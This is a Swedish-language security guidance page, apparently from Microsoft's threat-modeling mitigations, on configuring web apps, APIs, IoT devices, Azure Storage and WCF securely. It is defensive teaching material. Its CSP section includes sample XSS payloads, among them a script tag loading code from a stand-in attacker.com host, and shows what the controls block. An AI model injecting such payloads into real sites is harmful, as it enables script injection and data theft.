Dela via


Säkerhetsram: Konfigurationshantering | Mitigations

Produkt/tjänst Artikel
Webbprogram
Databas
Webb-API
IoT-enhet
IoT-fältgateway
IoT Cloud Gateway
Gränsen för datorförtroende
Azure Storage
WCF

Implementera innehållssäkerhetsprincip (CSP) och inaktivera infogad JavaScript

Title Details
Komponent Webbprogram
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser En introduktion till innehållssäkerhetsprincip, referens för innehållssäkerhetsprincip, Introduktion till innehållssäkerhetsprincip, Kan jag använda CSP?
Steg

Innehållssäkerhetsprincip (CSP) är en säkerhetsmekanism för skydd på djupet, en W3C-standard, som gör det möjligt för webbprogramägare att ha kontroll över innehållet som är inbäddat på deras webbplats. CSP läggs till som ett HTTP-svarshuvud på webbservern och framtvingas på klientsidan av webbläsare. Det är en tillåten listbaserad princip – en webbplats kan deklarera en uppsättning betrodda domäner som aktivt innehåll som JavaScript kan läsas in från.

CSP ger följande säkerhetsfördelar:

  • Skydd mot XSS: Om en sida är sårbar för XSS kan en angripare utnyttja den på två sätt:
    • Mata in <script>malicious code</script>. Den här exploateringen fungerar inte på grund av CSP:s basbegränsning-1
    • Mata in <script src="http://attacker.com/maliciousCode.js"/>. Den här exploateringen fungerar inte eftersom den angriparekontrollerade domänen inte finns i CSP:s tillåtna lista över domäner
  • Kontroll över dataexfiltrering: Om skadligt innehåll på en webbsida försöker ansluta till en extern webbplats och stjäla data avbryts anslutningen av CSP. Det beror på att måldomänen inte finns i CSP:s tillåtna lista
  • Skydd mot click-jacking: click-jacking är en attackteknik med vilken en angripare kan rama in en äkta webbplats och tvinga användare att klicka på gränssnittselement. För närvarande uppnås skydd mot klickklickning genom att konfigurera ett svarshuvud– X-Frame-Options. Alla webbläsare respekterar inte den här rubriken och framöver kommer CSP att vara ett standardsätt att försvara mot klick-jacking
  • Rapportering av realtidsattacker: Om det sker en inmatningsattack på en CSP-aktiverad webbplats utlöser webbläsare automatiskt ett meddelande till en slutpunkt som konfigurerats på webbservern. På så sätt fungerar CSP som ett realtidsvarningssystem.

Exempel

Exempelprincip:

Content-Security-Policy: default-src 'self'; script-src 'self' www.google-analytics.com 

Med den här principen kan skript endast läsas in från webbprogrammets server och Google Analytics-server. Skript som läses in från andra webbplatser avvisas. När CSP är aktiverat på en webbplats inaktiveras följande funktioner automatiskt för att minimera XSS-attacker.

Exempel

Infogade skript körs inte. Följande är exempel på infogade skript

<script> some JavaScript code </script>
Event handling attributes of HTML tags (for example, <button onclick="function(){}">
javascript:alert(1);

Exempel

Strängar utvärderas inte som kod.

Example: var str="alert(1)"; eval(str);

Aktivera webbläsarens XSS-filter

Title Details
Komponent Webbprogram
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser XSS-skyddsfilter
Steg

X-XSS-Protection-svarshuvudkonfiguration styr webbläsarens korsplatsskriptfilter. Det här svarshuvudet kan ha följande värden:

  • 0: Detta inaktiverar filtret
  • 1: Filter enabled Om ett skriptangrepp mellan webbplatser identifieras kommer webbläsaren att sanera sidan för att stoppa attacken
  • 1: mode=block : Filter enabled. I stället för att sanera sidan förhindrar webbläsaren återgivning av sidan när en XSS-attack identifieras.
  • 1: report=http://[YOURDOMAIN]/your_report_URI : Filter enabled. Webbläsaren sanerar sidan och rapporterar överträdelsen.

Det här är en Chromium-funktion som använder CSP-överträdelserapporter för att skicka information till valfri URI. De två sista alternativen anses vara säkra värden.

ASP.NET program måste inaktivera spårning och felsökning före distributionen

Title Details
Komponent Webbprogram
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser ASP.NET Felsökningsöversikt, ASP.NET Spårningsöversikt, Så här aktiverar du spårning för ett ASP.NET-program, Så här aktiverar du felsökning för ASP.NET program
Steg När spårning är aktiverat för sidan hämtar varje webbläsare som begär den även spårningsinformation som innehåller data om internt servertillstånd och arbetsflöde. Den informationen kan vara säkerhetskänslig. När felsökning är aktiverat för sidan resulterar fel som inträffar på servern i en fullständig stackspårningsdata som visas i webbläsaren. Dessa data kan exponera säkerhetskänslig information om serverns arbetsflöde.

Endast åtkomst till JavaScript från tredje part från betrodda källor

Title Details
Komponent Webbprogram
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser Ej tillämpligt
Steg JavaScript från tredje part bör endast refereras från betrodda källor. Referensslutpunkterna ska alltid finnas på TLS.

Se till att autentiserade ASP.NET sidor innehåller skydd för användargränssnittsåtergöring eller klicka-jacking

Title Details
Komponent Webbprogram
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser OWASP click-jacking Defense Cheat Sheet, IE Internals - Bekämpa click-jacking med X-Frame-Alternativ
Steg

Klicka-jacking, även känd som en "UI redress attack", är när en angripare använder flera transparenta eller ogenomskinliga lager för att lura en användare att klicka på en knapp eller länk på en annan sida när de hade för avsikt att klicka på den översta nivån sidan.

Den här skiktningen uppnås genom att skapa en skadlig sida med en iframe som läser in offrets sida. Angriparen "kapar" därför klick som är avsedda för deras sida och dirigerar dem till en annan sida, troligen ägs av ett annat program, en domän eller båda. För att förhindra klick-jacking-attacker anger du rätt HTTP-svarshuvuden för X-Frame-Options som instruerar webbläsaren att inte tillåta inramning från andra domäner

Exempel

Rubriken X-FRAME-OPTIONS kan anges via IIS web.config. Kodfragment för web.config för webbplatser som aldrig ska ramas in:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="DENY"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Exempel

Web.config-kod för webbplatser som bara ska ramas in av sidor i samma domän:

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="SAMEORIGIN"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

Se till att endast betrodda ursprung tillåts om CORS är aktiverat i ASP.NET webbprogram

Title Details
Komponent Webbprogram
SDL-fas Skapa
Tillämpliga tekniker Webbformulär, MVC5
Attribut Ej tillämpligt
Referenser Ej tillämpligt
Steg

Webbläsarskydd förhindrar att en webbsida gör AJAX-begäranden till en annan domän. Den här begränsningen kallas principen för samma ursprung och förhindrar att en skadlig webbplats läser känsliga data från en annan webbplats. Ibland kan det dock krävas att API:er exponeras på ett säkert sätt som andra webbplatser kan använda. Resursdelning för korsande ursprung (CORS) är en W3C-standard som gör att en server kan koppla av principen för samma ursprung. Med CORS kan en server uttryckligen tillåta vissa begäranden mellan ursprung samtidigt som andra avvisas.

CORS är säkrare och mer flexibelt än tidigare tekniker, till exempel JSONP. Att aktivera CORS i grunden innebär att lägga till några HTTP-svarshuvuden (Access-Control-*) i webbappen och detta kan göras på ett par sätt.

Exempel

Om åtkomst till Web.config är tillgänglig kan CORS läggas till via följande kod:

<system.webServer>
    <httpProtocol>
      <customHeaders>
        <clear />
        <add name="Access-Control-Allow-Origin" value="https://example.com" />
      </customHeaders>
    </httpProtocol>

Exempel

Om åtkomsten till web.config inte är tillgänglig kan CORS konfigureras genom att lägga till följande C#-kod:

HttpContext.Response.AppendHeader("Access-Control-Allow-Origin", "https://example.com")

Observera att det är viktigt att se till att listan över ursprung i attributet "Access-Control-Allow-Origin" är inställd på en begränsad och betrodd uppsättning ursprung. Om du inte konfigurerar detta på ett olämpligt sätt (till exempel om värdet anges som *) kan skadliga webbplatser utlösa begäranden om korsande ursprung till webbprogrammet >utan några begränsningar, vilket gör programmet sårbart för CSRF-attacker.

Aktivera attributet ValidateRequest på ASP.NET Pages

Title Details
Komponent Webbprogram
SDL-fas Skapa
Tillämpliga tekniker Webbformulär, MVC5
Attribut Ej tillämpligt
Referenser Validering av begäran – Förhindra skriptattacker
Steg

Begäran om validering, en funktion för ASP.NET sedan version 1.1, hindrar servern från att acceptera innehåll som innehåller en avkodad HTML-kod. Den här funktionen är utformad för att förhindra vissa angrepp med skriptinmatning genom att en klients skriptkod eller HTML-kod kan omedvetet skickas till en server, lagras och sedan visas för andra användare. Vi rekommenderar fortfarande att du validerar alla indata och HTML-kod när det passar.

Verifiering av begäran utförs genom att jämföra alla indata med en lista över potentiellt farliga värden. Om en matchning inträffar genererar ASP.NET en HttpRequestValidationException. Som standard är funktionen Förfrågningsverifiering aktiverad.

Exempel

Den här funktionen kan dock inaktiveras på sidnivå:

<%@ Page validateRequest="false" %> 

eller, på programnivå

<configuration>
   <system.web>
      <pages validateRequest="false" />
   </system.web>
</configuration>

Observera att funktionen Förfrågningsverifiering inte stöds och inte ingår i MVC6-pipelinen.

Använda lokalt värdbaserade senaste versioner av JavaScript-bibliotek

Title Details
Komponent Webbprogram
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser Ej tillämpligt
Steg

Utvecklare som använder vanliga JavaScript-bibliotek som JQuery måste använda godkända versioner av vanliga JavaScript-bibliotek som inte innehåller kända säkerhetsbrister. En bra idé är att använda den senaste versionen av biblioteken, eftersom de innehåller säkerhetskorrigeringar för kända säkerhetsrisker i äldre versioner.

Om den senaste versionen inte kan användas på grund av kompatibilitetsorsaker bör lägsta versionerna nedan användas.

Godtagbara minimiversioner:

  • Jquery
    • JQuery 1.7.1
    • JQueryUI 1.10.0
    • JQuery Validate 1.9
    • JQuery Mobile 1.0.1
    • JQuery Cycle 2.99
    • JQuery DataTables 1.9.0
  • Verktyg för Ajax-kontroll
    • Ajax Control Toolkit 40412
  • ASP.NET Webbformulär och Ajax
    • ASP.NET Web Forms och Ajax 4
    • ASP.NET Ajax 3,5
  • ASP.NET MVC
    • ASP.NET MVC 3.0

Läs aldrig in något JavaScript-bibliotek från externa webbplatser, till exempel offentliga CDN:er

Inaktivera automatisk MIME-sniffning

Title Details
Komponent Webbprogram
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser IE8-säkerhet del V: Omfattande skydd, MIME-typ
Steg Rubriken X-Content-Type-Options är ett HTTP-huvud som gör att utvecklare kan ange att deras innehåll inte ska vara MIME-sniffat. Den här rubriken är utformad för att minimera MIME-sniffningsattacker. För varje sida som kan innehålla användarkontrollerbart innehåll måste du använda HTTP-huvudet X-Content-Type-Options:nosniff. Om du vill aktivera det nödvändiga huvudet globalt för alla sidor i programmet kan du göra något av följande

Exempel

Lägg till huvudet i filen web.config om programmet finns i Internet Information Services (IIS) 7 och senare.

<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="nosniff"/>
</customHeaders>
</httpProtocol>
</system.webServer>

Exempel

Lägg till rubriken via den globala Application_BeginRequest

void Application_BeginRequest(object sender, EventArgs e)
{
this.Response.Headers["X-Content-Type-Options"] = "nosniff";
}

Exempel

Implementera anpassad HTTP-modul

public class XContentTypeOptionsModule : IHttpModule
{
#region IHttpModule Members
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.PreSendRequestHeaders += newEventHandler(context_PreSendRequestHeaders);
}
#endregion
void context_PreSendRequestHeaders(object sender, EventArgs e)
{
HttpApplication application = sender as HttpApplication;
if (application == null)
  return;
if (application.Response.Headers["X-Content-Type-Options "] != null)
  return;
application.Response.Headers.Add("X-Content-Type-Options ", "nosniff");
}
}

Exempel

Du kan bara aktivera den nödvändiga rubriken för specifika sidor genom att lägga till den i enskilda svar:

this.Response.Headers["X-Content-Type-Options"] = "nosniff";

Ta bort standardserverhuvuden på Windows Azure-webbplatser för att undvika fingeravtryck

Title Details
Komponent Webbprogram
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut EnvironmentType – Azure
Referenser Ta bort standardserverhuvuden på Windows Azure-webbplatser
Steg Rubriker som Server, X-Powered-By, X-AspNet-Version visar information om servern och de underliggande teknikerna. Vi rekommenderar att du utelämnar dessa rubriker och förhindrar att programmet tas med fingeravtryck

Konfigurera en Windows-brandvägg för databasmotoråtkomst

Title Details
Komponent Databas
SDL-fas Skapa
Tillämpliga tekniker SQL Azure, OnPrem
Attribut N/A, SQL-version – V12
Referenser Konfigurera en Azure SQL Database-brandvägg, Konfigurera en Windows-brandvägg för databasmotoråtkomst
Steg Brandväggssystem hjälper till att förhindra obehörig åtkomst till datorresurser. Om du vill komma åt en instans av SQL Server Database Engine via en brandvägg måste du konfigurera brandväggen på datorn som kör SQL Server för att tillåta åtkomst

Se till att endast betrodda ursprung tillåts om CORS är aktiverat på ASP.NET webb-API

Title Details
Komponent Webb-API
SDL-fas Skapa
Tillämpliga tekniker MVC 5
Attribut Ej tillämpligt
Referenser Aktivera begäranden mellan ursprung i ASP.NET Webb-API 2, ASP.NET webb-API – CORS-stöd i ASP.NET Webb-API 2
Steg

Webbläsarskydd förhindrar att en webbsida gör AJAX-begäranden till en annan domän. Den här begränsningen kallas principen för samma ursprung och förhindrar att en skadlig webbplats läser känsliga data från en annan webbplats. Ibland kan det dock krävas att API:er exponeras på ett säkert sätt som andra webbplatser kan använda. Resursdelning för korsande ursprung (CORS) är en W3C-standard som gör att en server kan koppla av principen för samma ursprung.

Med CORS kan en server uttryckligen tillåta vissa begäranden mellan ursprung samtidigt som andra avvisas. CORS är säkrare och mer flexibelt än tidigare tekniker, till exempel JSONP.

Exempel

I App_Start/WebApiConfig.cs lägger du till följande kod i metoden WebApiConfig.Register

using System.Web.Http;
namespace WebService
{
    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {
            // New code
            config.EnableCors();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }
}

Exempel

EnableCors-attributet kan tillämpas på åtgärdsmetoder i en kontrollant på följande sätt:

public class ResourcesController : ApiController
{
  [EnableCors("http://localhost:55912", // Origin
              null,                     // Request headers
              "GET",                    // HTTP methods
              "bar",                    // Response headers
              SupportsCredentials=true  // Allow credentials
  )]
  public HttpResponseMessage Get(int id)
  {
    var resp = Request.CreateResponse(HttpStatusCode.NoContent);
    resp.Headers.Add("bar", "a bar value");
    return resp;
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "PUT",                          // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "POST",                         // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
}

Observera att det är viktigt att se till att listan över ursprung i Attributet EnableCors är inställd på en begränsad och betrodd uppsättning ursprung. Om du inte konfigurerar detta på ett olämpligt sätt (till exempel om värdet anges som *) kan skadliga webbplatser utlösa begäranden mellan ursprung till API:et utan några begränsningar, >vilket gör API:et sårbart för CSRF-attacker. EnableCors kan dekoreras på styrenhetsnivå.

Exempel

Om du vill inaktivera CORS på en viss metod i en klass kan attributet DisableCors användas enligt nedan:

[EnableCors("https://example.com", "Accept, Origin, Content-Type", "POST")]
public class ResourcesController : ApiController
{
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  // CORS not allowed because of the [DisableCors] attribute
  [DisableCors]
  public HttpResponseMessage Delete(int id)
  {
    return Request.CreateResponse(HttpStatusCode.NoContent);
  }
}
Title Details
Komponent Webb-API
SDL-fas Skapa
Tillämpliga tekniker MVC 6
Attribut Ej tillämpligt
Referenser Aktivera CORS (Cross-Origin Requests) i ASP.NET Core 1.0
Steg

I ASP.NET Core 1.0 kan CORS aktiveras antingen med mellanprogram eller MVC. När du använder MVC för att aktivera CORS används samma CORS-tjänster, men CORS-mellanprogrammet är det inte.

Metod 1 Aktivera CORS med mellanprogram: Om du vill aktivera CORS för hela programmet lägger du till CORS-mellanprogrammet i begärandepipelinen med hjälp av usecors-tilläggsmetoden. Du kan ange en princip för korsande ursprung när du lägger till CORS-mellanprogrammet med klassen CorsPolicyBuilder. Det finns två sätt att göra detta på:

Exempel

Den första är att anropa UseCors med en lambda. Lambda tar ett CorsPolicyBuilder-objekt:

public void Configure(IApplicationBuilder app)
{
    app.UseCors(builder =>
        builder.WithOrigins("https://example.com")
        .WithMethods("GET", "POST", "HEAD")
        .WithHeaders("accept", "content-type", "origin", "x-custom-header"));
}

Exempel

Det andra är att definiera en eller flera namngivna CORS-principer och sedan välja principen efter namn vid körning.

public void ConfigureServices(IServiceCollection services)
{
    services.AddCors(options =>
    {
        options.AddPolicy("AllowSpecificOrigin",
            builder => builder.WithOrigins("https://example.com"));
    });
}
public void Configure(IApplicationBuilder app)
{
    app.UseCors("AllowSpecificOrigin");
    app.Run(async (context) =>
    {
        await context.Response.WriteAsync("Hello World!");
    });
}

Metod 2 Aktivera CORS i MVC: Utvecklare kan också använda MVC för att tillämpa specifika CORS per åtgärd, per styrenhet eller globalt för alla styrenheter.

Exempel

Per åtgärd: Om du vill ange en CORS-princip för en specifik åtgärd lägger du till attributet [EnableCors] i åtgärden. Ange principnamnet.

public class HomeController : Controller
{
    [EnableCors("AllowSpecificOrigin")] 
    public IActionResult Index()
    {
        return View();
    }

Exempel

Per styrenhet:

[EnableCors("AllowSpecificOrigin")]
public class HomeController : Controller
{

Exempel

Globalt:

public void ConfigureServices(IServiceCollection services)
{
    services.AddMvc();
    services.Configure<MvcOptions>(options =>
    {
        options.Filters.Add(new CorsAuthorizationFilterFactory("AllowSpecificOrigin"));
    });
}

Observera att det är viktigt att se till att listan över ursprung i Attributet EnableCors är inställd på en begränsad och betrodd uppsättning ursprung. Om du inte konfigurerar detta på ett olämpligt sätt (till exempel om värdet anges som *) kan skadliga webbplatser utlösa begäranden mellan ursprung till API:et utan några begränsningar, >vilket gör API:et sårbart för CSRF-attacker.

Exempel

Om du vill inaktivera CORS för en kontrollant eller åtgärd använder du attributet [DisableCors].

[DisableCors]
    public IActionResult About()
    {
        return View();
    }

Kryptera delar av webb-API:ets konfigurationsfiler som innehåller känsliga data

Title Details
Komponent Webb-API
SDL-fas Distribution
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser Anvisningar: Kryptera konfigurationsavsnitt i ASP.NET 2.0 Med DPAPI, ange en skyddad konfigurationsprovider, använda Azure Key Vault för att skydda programhemligheter
Steg Konfigurationsfiler som Web.config, appsettings.json används ofta för att lagra känslig information, inklusive användarnamn, lösenord, databas anslutningssträng och krypteringsnycklar. Om du inte skyddar den här informationen är ditt program sårbart för angripare eller skadliga användare som får känslig information, till exempel kontoanvändarnamn och lösenord, databasnamn och servernamn. Baserat på distributionstypen (azure/on-prem) krypterar du de känsliga avsnitten i konfigurationsfiler med DPAPI eller tjänster som Azure Key Vault.

Se till att alla administratörsgränssnitt skyddas med starka autentiseringsuppgifter

Title Details
Komponent IoT-enhet
SDL-fas Distribution
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser Ej tillämpligt
Steg Alla administrativa gränssnitt som enheten eller fältgatewayen exponerar bör skyddas med starka autentiseringsuppgifter. Dessutom bör alla andra exponerade gränssnitt som WiFi, SSH, Filresurser, FTP skyddas med starka autentiseringsuppgifter. Svaga standardlösenord ska inte användas.

Kontrollera att okänd kod inte kan köras på enheter

Title Details
Komponent IoT-enhet
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser Aktivera säker start- och BitLocker-enhetskryptering i Windows 10 IoT Core
Steg UEFI Secure Boot begränsar systemet till att endast tillåta körning av binärfiler som signerats av en angiven utfärdare. Den här funktionen förhindrar att okänd kod körs på plattformen och potentiellt försvagar säkerhetsstatusen för den. Aktivera säker UEFI-start och begränsa listan över certifikatutfärdare som är betrodda för signeringskod. Signera all kod som distribueras på enheten med någon av de betrodda myndigheterna.

Kryptera operativsystem och andra partitioner av IoT-enhet med BitLocker

Title Details
Komponent IoT-enhet
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser Ej tillämpligt
Steg Windows 10 IoT Core implementerar en enkel version av BitLocker-enhetskryptering, som har ett starkt beroende av förekomsten av en TPM på plattformen, inklusive det nödvändiga preOS-protokollet i UEFI som utför nödvändiga mätningar. Dessa preOS-mätningar säkerställer att operativsystemet senare har en slutgiltig post om hur operativsystemet startades. Kryptera OS-partitioner med BitLocker och andra partitioner även om de lagrar känsliga data.

Se till att endast de lägsta tjänsterna/funktionerna är aktiverade på enheter

Title Details
Komponent IoT-enhet
SDL-fas Distribution
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser Ej tillämpligt
Steg Aktivera eller inaktivera inte några funktioner eller tjänster i operativsystemet som inte krävs för att lösningen ska fungera. Om enheten till exempel inte kräver att ett användargränssnitt distribueras installerar du Windows IoT Core i huvudlöst läge.

Kryptera operativsystem och andra partitioner av IoT Field Gateway med BitLocker

Title Details
Komponent IoT-fältgateway
SDL-fas Distribution
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser Ej tillämpligt
Steg Windows 10 IoT Core implementerar en enkel version av BitLocker-enhetskryptering, som har ett starkt beroende av förekomsten av en TPM på plattformen, inklusive det nödvändiga preOS-protokollet i UEFI som utför nödvändiga mätningar. Dessa preOS-mätningar säkerställer att operativsystemet senare har en slutgiltig post om hur operativsystemet startades. Kryptera OS-partitioner med BitLocker och andra partitioner även om de lagrar känsliga data.

Kontrollera att standardautentiseringsuppgifterna för inloggning för fältgatewayen ändras under installationen

Title Details
Komponent IoT-fältgateway
SDL-fas Distribution
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser Ej tillämpligt
Steg Kontrollera att standardautentiseringsuppgifterna för inloggning för fältgatewayen ändras under installationen

Se till att Cloud Gateway implementerar en process för att hålla de anslutna enheternas inbyggda programvara uppdaterad

Title Details
Komponent IoT Cloud Gateway
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut Gatewayval – Azure IoT Hub
Referenser Självstudiekurs om IoT Hub Enhetshantering Overview,Device Update for Azure IoT Hub using the Raspberry Pi 3 B+ Reference Image(Enhetsuppdatering för Azure IoT Hub) med hjälp av Raspberry Pi 3 B+-referensbilden.
Steg LWM2M är ett protokoll från Open Mobile Alliance for IoT Enhetshantering. Med Azure IoT-enhetshantering kan du interagera med fysiska enheter med hjälp av enhetsjobb. Se till att Cloud Gateway implementerar en process för att rutinmässigt hålla enheten och andra konfigurationsdata uppdaterade med hjälp av Azure IoT Hub Enhetshantering.

Se till att enheterna har slutpunktssäkerhetskontroller konfigurerade enligt organisationens principer

Title Details
Komponent Gränsen för datorförtroende
SDL-fas Distribution
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser Ej tillämpligt
Steg Se till att enheter har slutpunktssäkerhetskontroller som BitLocker för kryptering på disknivå, antivirusprogram med uppdaterade signaturer, värdbaserad brandvägg, OS-uppgraderingar, grupprinciper osv. konfigureras enligt organisationens säkerhetsprinciper.

Säkerställa säker hantering av Åtkomstnycklar för Azure Storage

Title Details
Komponent Azure Storage
SDL-fas Distribution
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser Säkerhetsguide för Azure Storage – Hantera dina lagringskontonycklar
Steg

Nyckellagring: Vi rekommenderar att du lagrar Azure Storage-åtkomstnycklarna i Azure Key Vault som en hemlighet och att programmen hämtar nyckeln från nyckelvalvet. Detta rekommenderas på grund av följande orsaker:

  • Programmet kommer aldrig att ha lagringsnyckeln hårdkodad i en konfigurationsfil, vilket tar bort den vägen för någon som får åtkomst till nycklarna utan specifik behörighet
  • Åtkomst till nycklarna kan styras med hjälp av Microsoft Entra-ID. Det innebär att en kontoägare kan ge åtkomst till de få program som behöver hämta nycklarna från Azure Key Vault. Andra program kommer inte att kunna komma åt nycklarna utan att ge dem behörighet specifikt
  • Nyckelförnyelse: Vi rekommenderar att du har en process för att återskapa Åtkomstnycklar för Azure Storage av säkerhetsskäl. Information om varför och hur du planerar för nyckelregenerering finns i referensartikeln i Azure Storage Security Guide

Se till att endast betrott ursprung tillåts om CORS är aktiverat på Azure Storage

Title Details
Komponent Azure Storage
SDL-fas Skapa
Tillämpliga tekniker Allmän
Attribut Ej tillämpligt
Referenser CORS-stöd för Azure Storage-tjänsterna
Steg Med Azure Storage kan du aktivera CORS – resursdelning mellan ursprung. För varje lagringskonto kan du ange domäner som kan komma åt resurserna i lagringskontot. Som standard är CORS inaktiverat för alla tjänster. Du kan aktivera CORS med hjälp av REST-API:et eller lagringsklientbiblioteket för att anropa någon av metoderna för att ange tjänstprinciperna.

Aktivera WCF:s funktion för tjänstbegränsning

Title Details
Komponent WCF
SDL-fas Skapa
Tillämpliga tekniker .NET Framework 3
Attribut Ej tillämpligt
Referenser MSDN, Fortify Kingdom
Steg

Att inte sätta en gräns för användningen av systemresurser kan leda till resursöverbelastning och i slutändan ett överbelastningsöverbelastning.

  • FÖRKLARING: Windows Communication Foundation (WCF) erbjuder möjligheten att begränsa tjänstbegäranden. Att tillåta för många klientbegäranden kan översvämma ett system och uttömma dess resurser. Å andra sidan kan det hindra legitima användare från att använda tjänsten om endast ett litet antal begäranden till en tjänst tillåts. Varje tjänst ska justeras individuellt till och konfigureras för att tillåta rätt mängd resurser.
  • REKOMMENDATIONER Aktivera WCF:s funktion för tjänstbegränsning och ange lämpliga gränser för ditt program.

Exempel

Följande är ett exempel på en konfiguration med begränsning aktiverat:

<system.serviceModel> 
  <behaviors>
    <serviceBehaviors>
    <behavior name="Throttled">
    <serviceThrottling maxConcurrentCalls="[YOUR SERVICE VALUE]" maxConcurrentSessions="[YOUR SERVICE VALUE]" maxConcurrentInstances="[YOUR SERVICE VALUE]" /> 
  ...
</system.serviceModel> 

Röjande av WCF-Information via metadata

Title Details
Komponent WCF
SDL-fas Skapa
Tillämpliga tekniker .NET Framework 3
Attribut Ej tillämpligt
Referenser MSDN, Fortify Kingdom
Steg Metadata kan hjälpa angripare att lära sig om systemet och planera en form av attack. WCF-tjänster kan konfigureras för att exponera metadata. Metadata ger detaljerad information om tjänstbeskrivning och bör inte sändas i produktionsmiljöer. Egenskaperna HttpGetEnabled / HttpsGetEnabled för klassen ServiceMetaData definierar om en tjänst ska exponera metadata

Exempel

Koden nedan instruerar WCF att sända en tjänsts metadata

ServiceMetadataBehavior smb = new ServiceMetadataBehavior();
smb.HttpGetEnabled = true; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb); 

Sänd inte tjänstmetadata i en produktionsmiljö. Ange egenskaperna HttpGetEnabled/HttpsGetEnabled för klassen ServiceMetaData till false.

Exempel

Koden nedan instruerar WCF att inte sända en tjänsts metadata.

ServiceMetadataBehavior smb = new ServiceMetadataBehavior(); 
smb.HttpGetEnabled = false; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb);